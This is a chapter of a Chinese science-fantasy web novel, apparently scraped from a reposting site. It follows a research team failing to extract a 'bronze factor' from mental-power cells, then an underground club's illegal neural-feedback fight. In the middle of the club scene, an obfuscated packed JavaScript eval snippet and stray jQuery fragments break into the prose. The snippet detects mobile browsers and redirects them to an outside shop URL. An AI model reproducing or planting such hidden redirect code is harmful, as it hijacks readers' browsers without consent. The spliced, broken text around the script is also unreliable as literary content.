这几天无疑都是个完美的艳阳天。
上层实验室空气中弥漫着消毒水和某种特殊营养液混合的清新气味。
乔理理、翟辞和罗博围在一个闪烁着柔和蓝光的操作台旁，屏息凝神地看着中央悬浮的一个微型培养皿。
皿中，几簇经过特殊标记的神经细胞正散发着微弱的精神力荧光：这是他们从一位刚觉醒不久的志愿者身上提取并培育的。
经过贺兰烯的改良，这些精神力不再像最初那样狂暴逸散，而是被稳定地驯养在特制的生物能量场中。
贺兰烯加入后的技术飞跃，让团队对精神力保存的掌控已趋成熟。
他们正在尝试一种新提取方案。
乔理理小心翼翼地引导着操作台生成的特殊能量，试图与细胞内的精神力核心产生深度共鸣，希望能借此共振出深藏的青铜因信息流。
翟辞则盯着旁边光屏上瀑布般流下的实时数据，手指悬在几个关键参数调整钮上，随时准备微调。
罗博操作着一支纳米探针，准备在共鸣达到峰值时进行微创取样。
光屏上的精神力波形开始剧烈震荡，培养皿中的荧光变得异常明亮。
就在乔理理额头渗出细汗，翟辞低喝“峰值！”，罗博的探针即将刺入的瞬间——
“嗡…”一声轻微的颤音响起。
培养皿中的荧光骤然熄灭，光屏上所有活跃的波形瞬间拉成一条直线。
操作台自动转入保护模式，蓝光转为警示性的淡红。
“啧……”翟辞率先打破沉默，身体向后重重靠在椅背上，烦躁地抓了抓他那头本就有些乱糟糟的卷发。
“又失败了！这玩意儿比泥鳅还滑溜！共鸣频率稍微偏差一点，它要么躲得无影无踪，要么就……”他指了指培养皿，“玉石俱焚。”
乔理理轻轻叹了口气，摘下护目镜，揉了揉有些发涩的眼睛，声音带着疲惫但还算平静：“是我的引导不够稳定。在峰值前，精神力场出现了微弱的相位偏移，虽然我试图修正，但还是引发了连锁反应。”
罗博默默地收回探针，仔细检查着针尖，“探针的介入点还是太粗暴了…我们需要更…更温柔的取样方式。”
他习惯性地拿起旁边的电子笔，开始在光屏空白处快速勾勒着某种更纤细，带有缓冲结构的探针草图。
三人不约而同地，将目光投向了安静站在一旁观察的贺兰烯，她刚才并未直接参与操作，更像一个冷静的旁观者。
“烯烯？”乔理理轻声问道，“你有什么新的想法吗？或者……我们是不是又走错方向了？”
贺兰烯走上前，指尖轻轻拂过操作台冰冷的边缘，目光落在那个已无生机的培养皿上。
她的表情很平静，没有失败的沮丧，也没有意外的惊讶，甚至可以说，这个结果与她预想的进程大差不差——青铜因的提取，本就不是一蹴而就的坦途。
证实基因中存在青铜因后，研究团队还需面临三重难关：
提取精神力，融合青铜因，导入基因。
而这一切研究前提都在精神力与青铜因活性状态下。
难度可想而知。
“方向没错。”她的声音肯定，“失败的原因，理理刚才分析得很对，是执行的精度和稳定性不足，以及取样工具的侵入性太强。”
她看向罗博正在画的草图，微微颔首，“罗博的思路是对的，更温和的介入是关键一环。”
她的目光扫过三位同伴。
他们的天赋毋庸置疑，他们的努力更是远超常人。这群人，迟早会突破眼前的壁垒，而她需要做的，就是引导这股蓬勃的力量，走向正确的方向。
“这次实验的数据非常有价值，”贺兰烯走到主控光屏前，调出刚才失败瞬间的详细记录，“看这里……”
乔理理和翟辞立刻凑上前，罗博也停下了画图。
“这是…”乔理理眼睛一亮。
“青铜因的心跳？”翟辞的烦躁瞬间被兴奋取代。
“极有可能。”贺兰烯点头，“这说明我们的方法确实触碰到了它，只是我们的手还不够稳、不够快。”
她需要成为这个团队的主心骨。
她指出方向，激发他们的思考，让他们在看似自主的探索中，一步步靠近她已知的答案。
就像现在，她指出了那关键的异常信号，给予了希望，但并未透露如何稳定捕捉它的核心诀窍，那正是她经过试炼才掌握的、关于青铜因的秘密。
只是她一个人无法完成，她需要团队。
这个核心，也必须牢牢掌握在她手中。
＊
俱乐部入口，霓虹灯管拼凑的“绣色钟楼”四字闪烁不定，像接触不良的旧招牌。
走进去，目之所及，唯有黄金。
墙壁、吧台、侍者胸前的徽章，甚至空气都仿佛镀了金粉。
它像土里挖出的金器，边缘覆盖着一层洗刷不掉的、油润的铜绿锈斑。
这便是“锈色”。
香水、雪茄、酒精的甜腻气息之下，是金钱与欲望蒸腾出的、令人窒息的燥热。
施书在扭动的人潮里钻行。
他抹了把汗，目光穿透迷离的光影，盯住舞池后面一处几乎被遗忘的浮雕装饰。
那里，隐约可见一个巨大齿轮的轮廓，锈迹斑斑。
他猛地从怀里掏出一把荧光蓝的塑料水枪，枪口直指齿轮，声音在震耳音乐中断续而坚定：“午时的一口钟。”
这便是“钟楼”。
喧嚣逐渐被另一种更密集的轰鸣取代。地下空间被分割成数层，中央是一个下沉式圆形场地，四周环绕着层层叠叠的看台。
这里没有自然光，只有无数射灯将场地中心照得如同白昼。空气中弥漫着汗味、能量饮料的甜腥和一触即发的亢奋。
圆形中心，是两台狰狞的金属造物，它顶着游戏舱的名头过审。
区别于合法安全的游戏舱，它的危险指数无疑很高。
看台上挤满了戴面具的看客。
面具遮掩了身份，却盖不住因狂热而扭曲的肢体和嘶哑的吼叫。
他们的赌注是晶片，珀尔东洲一区的一种会员卡。
它们不仅通向顶级的奢侈品商店，更是特权阶梯的通行证，哪怕只用于琳琅满目的商品街，只要它存在于珀尔东洲，那么这一切就有意义。
最高处的包厢，猩红丝绒如同血池，一个身影陷在其中，手指随意捻起几张晶片，是最高等级的穹晶卡。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16308104|178638||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他随意一抛，卡片旋转着划出炫目的弧线，落入下方侍者的托盘。那漫不经心的豪阔，瞬间点燃了窃窃私语：
“穹晶！五张？！”
“血族老头吧…只有那些老怪物才这么不当钱是钱…”
“他是疯子吗？”
……
目光重新落回屏幕上。
环形屏幕正以极高的清晰度直播着虚拟格斗场内的厮杀。
它有着超高精度的实景渲染。
画面残酷得令人头皮发麻。
每一次沉重的打击音效，都通过低音炮锤进观众的胸腔，带来真实的生理反应。
规避了□□伤害？是的，但神经反馈系统将痛苦、眩晕、濒死感以80％的拟真度直接灌入使用者的大脑。
一场下来，胜者亦是败者，精神虚脱，噩梦缠身数日，代价丝毫不减。
此刻，屏幕上的风暴中心是磐石：地下新晋的帝王，一个女人。
她的虚拟形象并非肌肉怪兽，动作简洁、迅猛、致命，一记刁钻的低扫，对手的虚拟小腿呈现不自然的弯折。
紧接着是狂风骤雨般的贴身短打，最后一记灌注全身力量的摆拳，轰在对手太阳穴，虚拟影像头颅猛地一偏，爆裂成像素碎片。
“WINNER——磐石！十二连霸！”电子合成音嘶吼。
现实中，左侧的厚重舱门打开。磐石坐起身，剧烈喘息，汗水浸透紧身战斗服，勾勒出强悍的线条。
她脸色惨白，眼神却很是锐利，她接过象征性的镀金奖杯，高高举起。
欢呼声浪几乎掀翻她的地下王座。
短暂的肉身友谊环节开始。
这是表演，也是试探。
冠军拥有特权，邀请观众席任何一人象征性切磋。
磐石的目光，穿透喧嚣，锁定了最高处那猩红包厢里的身影。她举起奖杯，声音透过扩音器，带着激战后的沙哑，并不遥远地传了过去：
“包厢里的那位阁下。”
“您…今晚押注在我身上了吗？”
全场死寂。
所有目光，聚焦于那一点。
猩红丝绒中，那戴着华贵戒指的手动了，缓缓抬起，搭在冰冷的面具边缘，指尖用力。
面具滑落。
灯光，仿佛被那张脸攫取、吞噬、再重新释放出更夺目的风华。
是一种超越性别、超越种族的惊心动魄，是一张足以让钟楼玫瑰都自惭形秽的容颜，是一个不敢令人高呼于口的名字，黄金在他面前褪去浮华，宝珠在他眸前失去光泽。
同样，这也是地下王座之争。
锈色开始活色生香。
“当然。”他的声音响起。
“女士。”他慢条斯理地开口，同时，那只修长美丽的手探入衣服内袋，抓出一把——不是几张，是一把流淌着星辰光辉的穹晶卡。
“我很感谢你…”
话音未落，手腕轻扬。
刹那间，那些代表着特权与财富的晶片，从他被灯光照耀得近乎透明的指间，纷扬洒落。
“让我赚得盆满钵满。”
伏苏祈笑着，磐石看着：看着它们旋转、飘荡、叮当作响地洒向下方彻底沸腾、陷入疯狂抢夺的人群。